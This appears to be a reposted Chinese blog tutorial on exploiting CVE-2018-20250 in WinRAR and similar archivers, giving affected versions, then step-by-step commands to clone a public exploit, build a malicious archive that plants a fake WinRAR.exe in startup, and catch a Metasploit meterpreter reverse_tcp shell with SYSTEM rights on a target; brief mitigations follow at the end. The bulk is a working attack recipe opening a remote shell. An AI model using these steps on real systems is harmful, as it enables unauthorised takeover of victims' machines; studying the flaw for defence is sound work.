漏洞编号： CVE-2018-20250
影响版本：
WinRAR < 5.70 Beta 1
Bandizip < = 6.2.0.0
好压(2345压缩) < = 5.9.8.10907
360压缩 < = 4.0.0.1170
exp下载：
1.使用Metasploit生成Payload
2.使用exp生成恶意程序
计算
安全
数据库
网络和加速
企业服务
cd /root/Desktopgit clone https://github.com/WyAtu/CVE-2018-20250.gitcd CVE-2018-20250cp /root/WinRAR.exe ./vim exp.py
将exp.py中的evil_filename = “calc.exe”改为”WinRAR.exe”
将CVE-2018-20250文件夹复制到Windows10中执行
3.在靶机上运行恶意程序
将test.rar 投放到win8上 解压运行
4.在kali上监听metasploit
msf exploit(handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(handler) > set lhost 192.168.112.140msf exploit(handler) > set lport 44444msf exploit(handler) > run www.gendan5.com
5.控制靶机
Win8重启之后 kali会接受到会话 此时执行shell
进入到win8系统的system权限
1. 删除受影响压缩软件目录下UNACEV2.dll文件能有效防御
2. 升级到最新版本，WinRAR 目前版本是 5.70 Beta 1
3. 总而言之，该漏洞并没有那么致命。目标性的打站，得先欺骗下载，并再在未防护的服务器上解压，企业服务器管理员都很难会这样做。而且必须得服务器重启才能生效，不能直接执行脚本
亿速云「云服务器」，即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘，价格低至29元/月。点击查看>>
免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：is@yisu.com进行举报，并提供相关证据，一经查实，将立刻删除涉嫌侵权内容。
原文链接：http://blog.itpub.net/69946337/viewspace-2657215/
